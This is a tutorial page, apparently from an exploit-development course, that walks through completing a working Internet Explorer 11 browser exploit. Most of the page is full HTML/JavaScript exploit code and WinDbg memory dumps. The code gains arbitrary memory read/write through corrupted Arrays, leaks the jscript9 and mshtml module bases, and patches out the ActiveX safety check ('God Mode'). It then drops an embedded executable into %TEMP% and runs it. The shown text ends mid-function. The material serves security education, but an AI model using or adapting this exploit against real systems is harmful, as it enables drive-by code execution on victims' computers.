-
Notifications
You must be signed in to change notification settings - Fork 1
/
ie11-part-2.html
1074 lines (940 loc) · 47.6 KB
/
ie11-part-2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html>
<head>
<title>IE11: Part 2</title>
<link rel="stylesheet" href="styles.css">
<link rel="stylesheet" href="highlight/styles/stackoverflow-dark.min.css">
<script src="highlight/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
</head>
<body>
<div class="inner-content"><header class="page-header"><h1 class="page-title">IE11: Part 2</h1></header><div class="page-content"><h2>Completing the exploit</h2><p>As we saw, the <span style="color: #00ccff;">POC</span> uses <span style="color: #00ff00;">window.onload</span> because it requires that the javascript code is executed after the page has fully loaded. We must do the same in our exploit. We also need to make the required changes to the rest of the page. Here’s the resulting code:</p>
<pre><code class="language-html"><html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
</code></pre>
<p>I snipped <span style="color: #00ff00;">runcalc</span>. You can download the full code from here: <a href="code/code6.zip">code6</a>.</p><p>When we try it, a familiar dialog box pops up:</p><p>
<a href="images/pic_69.png"><img src="images/pic_69.png" alt="pic_69" width="470" height="181"></a>
<br> This means that something changed and the <em>God Mode</em> doesn’t work anymore.</p><p>Let’s start by adding two alerts to check that the variables <span style="color: #00ff00;">jscript9</span> and <span style="color: #00ff00;">mshtml</span> contain the correct base addresses:</p>
<pre><code class="language-js"> // Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
alert(jscript9.toString(16));
alert(mshtml.toString(16));
</code></pre>
<p>When we reload the page in IE we discover that the two variables contain incorrect values. Let’s modify the code again to find out what’s wrong:</p>
<pre><code class="language-js"> // Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
alert(addr.toString(16));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
</code></pre>
<p>When we analyze the object at the address <span style="color: #00ff00;">addr</span>, we realize that something is missing:</p><pre class="ignore:true">0:021> dd 3c600e0
03c600e0 6cd75480 03c54120 00000000 03c6cfa0
03c600f0 029648a0 03c6af44 03c6af74 00000000
03c60100 6cd7898c 00000001 00000009 00000000
03c60110 0654d770 00000000 00000000 00000000
03c60120 6cd75480 03c54120 00000000 03c6c000
03c60130 029648a0 03c6a3d4 03c6af44 00000000
03c60140 6cd75480 03c54120 00000000 03c6cfb0
03c60150 029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480) jscript9!HostDispatch::`vftable' | (6cd755d8) jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0 6cd75480 jscript9!HostDispatch::`vftable'
03c600e4 03c54120
03c600e8 00000000
03c600ec 03c6cfa0
03c600f0 029648a0
03c600f4 03c6af44
03c600f8 03c6af74
03c600fc 00000000
03c60100 6cd7898c jscript9!HostVariant::`vftable'
03c60104 00000001
03c60108 00000009
03c6010c 00000000
03c60110 0654d770
03c60114 00000000
03c60118 00000000
03c6011c 00000000
03c60120 6cd75480 jscript9!HostDispatch::`vftable'
03c60124 03c54120
03c60128 00000000
03c6012c 03c6c000
03c60130 029648a0
03c60134 03c6a3d4
03c60138 03c6af44
03c6013c 00000000
03c60140 6cd75480 jscript9!HostDispatch::`vftable'
03c60144 03c54120
03c60148 00000000
03c6014c 03c6cfb0
03c60150 029648a0
03c60154 029648c0
03c60158 03c60194
03c6015c 00000000</pre><p>How can we determine the base address of <span style="color: #00ff00;">mshtml.dll</span> without a pointer to a vftable in it?</p><p>We need to find another way. For now, we learned that the <span style="color: #00ff00;">div</span> element is represented by an object of type <span style="color: #00ff00;">jscript9!HostDispatch</span>. But we’ve already seen this object in action. Do you remember the stack trace of the crash? Here it is again:</p><pre class="ignore:true">0:007> k 10
ChildEBP RetAddr
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a</pre><p>In particular, look at these two lines:</p><pre class="ignore:true ">0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae</pre><p>It’s clear that <span style="color: #00ff00;">jscript9!HostDispatch::CallInvokeEx</span> knows the address of the function <span style="color: #00ff00;">MSHTML!CBase::PrivateInvokeEx</span> and if we’re lucky, this address is reachable from the object <span style="color: #00ff00;">HostDispatch</span> (remember that we know the address of an object of this very type).</p><p>Let’s examine <span style="color: #00ff00;">jscript9!HostDispatch::CallInvokeEx</span> in <span style="color: #00ccff;">IDA</span>. Load <span style="color: #00ff00;">jscript9</span> in IDA and then press <span style="color: #00ff00;">Ctrl+P</span> to locate <span style="color: #00ff00;">CallInvokeEx</span>. Now you can click on any instruction to see its offset relative to the current function. We want to locate the instruction at offset <span style="color: #00ff00;">0xae</span> of <span style="color: #00ff00;">CallInvokeEx</span>:</p><p>
<a href="images/pic_70.png"><img src="images/pic_70.png" alt="pic_70" width="1387" height="688"></a>
<br> It looks like the address of <span style="color: #00ff00;">MSHTML!CBase::PrivateInvokeEx</span> is at the address <span style="color: #00ff00;">eax+20h</span>.</p><p>As we did with the UAF bugs, we’ll try to determine where the address of <span style="color: #00ff00;">MSHTML!CBase::PrivateInvokeEx</span> comes from:</p><p>
<a href="images/pic_71.png"><img src="images/pic_71.png" alt="pic_71" width="1354" height="2241"></a>
<br> Now we’ll need to examine the function <span style="color: #00ff00;">GetHostVariantWrapper</span>:</p><p>
<a href="images/pic_72.png"><img src="images/pic_72.png" alt="pic_72" width="1319" height="760"></a>
<br> By merging the schemata, we get the following:</p><pre class="ignore:true">X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]</pre><p>More simply:</p><pre class="ignore:true">X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]</pre><p>Let’s see if we’re right. Let’s reload the html page in IE and examine the <span style="color: #00ff00;">div</span> element again:</p><pre class="ignore:true">0:022> dd 5360f20
05360f20 6cc55480 05354280 00000000 0536cfb0
05360f30 0419adb0 0536af74 0536afa4 00000000
05360f40 6cc5898c 00000001 00000009 00000000
05360f50 00525428 00000000 00000000 00000000
05360f60 05360f81 00000000 00000000 00000000
05360f70 00000000 00000000 00000000 00000000
05360f80 05360fa1 00000000 00000000 00000000
05360f90 00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480) jscript9!HostDispatch::`vftable' | (6cc555d8) jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0 6cc52d44 00000001 05360f00 00000000
0536cfc0 6cc52d44 00000001 05360f40 00000000
0536cfd0 0536cfe1 00000000 00000000 00000000
0536cfe0 0536cff1 00000000 00000000 00000000
0536cff0 0536cf71 00000000 00000000 00000000
0536d000 6cc54534 0535d8c0 00000000 00000005
0536d010 00004001 047f0010 053578c0 00000000
0536d020 00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44) jscript9!DummyVTableObject::`vftable' | (6cc52d50) jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
jscript9!Js::FunctionInfo::`vftable' = <no type information>
jscript9!Projection::UnknownThis::`vftable' = <no type information>
jscript9!Projection::NamespaceThis::`vftable' = <no type information>
jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
jscript9!RefCountedHostVariant::`vftable' = <no type information>
jscript9!DummyVTableObject::`vftable' = <no type information>
jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00 6cc5898c 00000005 00000009 00000000
05360f10 00565d88 00000000 00000000 00000000
05360f20 6cc55480 05354280 00000000 0536cfb0
05360f30 0419adb0 0536af74 0536afa4 00000000
05360f40 6cc5898c 00000001 00000009 00000000
05360f50 00525428 00000000 00000000 00000000
05360f60 05360f81 00000000 00000000 00000000
05360f70 00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c) jscript9!HostVariant::`vftable' | (6cc589b5) jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88 6f03eb04 00000001 00000000 00000008
00565d98 00000000 05360f08 00000000 00000000
00565da8 00000022 02000400 00000000 00000000
00565db8 07d47798 07d47798 5c0cccc8 88000000
00565dc8 003a0043 0057005c 006e0069 006f0064
00565dd8 00730077 0073005c 00730079 00650074
00565de8 0033006d 005c0032 00580053 002e0053
00565df8 004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04) MSHTML!CDivElement::`vftable' | (6ede7f24) MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
MSHTML!CDivElement::`vftable' = <no type information></pre><p>Bingo! Our problems are solved! Now let’s compute the <span style="color: #00ccff;">RVA</span> of the vftable just found:</p><pre class="ignore:true">0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04</pre><p>We also need to compute the RVA for <span style="color: #00ff00;">jscript9!HostDispatch::`vftable’</span>:</p><pre class="ignore:true">0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480</pre><p>Now change the code as follows:</p>
<pre><code class="language-js"> // Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
alert(jscript9.toString(16));
alert(mshtml.toString(16));
return;
</code></pre>
<p>Try it out: is should work just fine!</p><p>Now remove the two alerts and the return. Mmm… the calculator doesn’t appear, so there must be something wrong (again!). To see what’s wrong, we can rely on the <span style="color: #00ccff;">Developer Tools</span>. It seems that when the Developer Tools are enabled our <em>God Mode</em> doesn’t work. Just authorize the execution of the <span style="color: #00ff00;">ActiveXObject</span> and you should see the following error:</p><p>
<a href="images/pic_73.png"><img src="images/pic_73.png" alt="pic_73" width="1262" height="793"></a>
<br> Luckily, the problem is quite simple: <span style="color: #00ff00;">atob</span> isn’t available in <span style="color: #00ccff;">IE 9</span>. I found a <span style="color: #00ccff;">polyfill</span> for atob here:</p><p style="padding-left: 30px;"><a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa">https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa</a></p><p>Here’s the modified code:</p>
<pre><code class="language-html"><html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
// decoder
// [https://gist.github.com/1020396] by [https://github.com/atk]
function atob(input) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var str = String(input).replace(/=+$/, '');
if (str.length % 4 == 1) {
throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
}
for (
// initialize result and counters
var bc = 0, bs, buffer, idx = 0, output = '';
// get next character
buffer = str.charAt(idx++);
// character found in table? initialize bit storage and add its ascii value;
~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
// and if not first of each 4 characters,
// convert the first 8 bits to one ascii character
bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
) {
// try to find character in table (0-63, not found => -1)
buffer = chars.indexOf(buffer);
}
return output;
}
function decode(b64Data) {
var data = atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
</code></pre>
<p>As before, I snipped <span style="color: #00ff00;">runcalc</span>. You can download the full code from here: <a href="code/code7.zip">code7</a>.</p><p>Now the calculator pops up and everything seems to work fine until we get a crash. The crash doesn’t always happen but there’s definitely something wrong with the code. A crash is probably caused by an incorrect write. Since the <em>God Mode</em> works correctly, the problem must be with the two writes right before the call to <span style="color: #00ff00;">bStream.SaveToFile</span>.</p><p>Let’s comment out the two writes and try again. Perfect! Now there are no more crashes! But we can’t just leave out the two writes. If we use <span style="color: #00ccff;">SimpleServer</span>, it doesn’t work of course because the two writes are needed. Maybe surprisingly, if we add back the two writes, everything works just fine.</p><p>If we investigate things a bit, we discover that when the html page is loaded in IE directly from the hard disk, <span style="color: #00ff00;">string_addr</span> points to a null dword. On the other hand, when the page is loaded by going to <span style="color: #00ff00;">127.0.0.1</span> and is served by SimpleServer, <span style="color: #00ff00;">string_addr</span> points to the <span style="color: #00ccff;">Unicode</span> string <span style="color: #00ff00;">http://127.0.0.1/</span>. For this reason, we should change the code as follows:</p>
<pre><code class="language-js"> var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
if (read(string_addr) != 0) { // only when there is a string to overwrite
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
}
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
</code></pre>
<p></p><h2>Completing the exploit (2)</h2><p>It’s high time we completed this exploit! Here’s the full code:</p>
<pre><code class="language-html"><html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
magic_addr = 0xc000000;
function dword2Str(dword) {
var low = dword % 0x10000;
var high = Math.floor(dword / 0x10000);
if (low == 0 || high == 0)
alert("dword2Str: null wchars not allowed");
return String.fromCharCode(low, high);
}
function getPattern(offset_values, tot_bytes) {
if (tot_bytes % 4 != 0)
alert("getPattern(): tot_bytes is not a multiple of 4");
var pieces = new Array();
var pos = 0;
for (i = 0; i < offset_values.length/2; ++i) {
var offset = offset_values[i*2];
var value = offset_values[i*2 + 1];
var padding = new Array((offset - pos)/2 + 1).join("a");
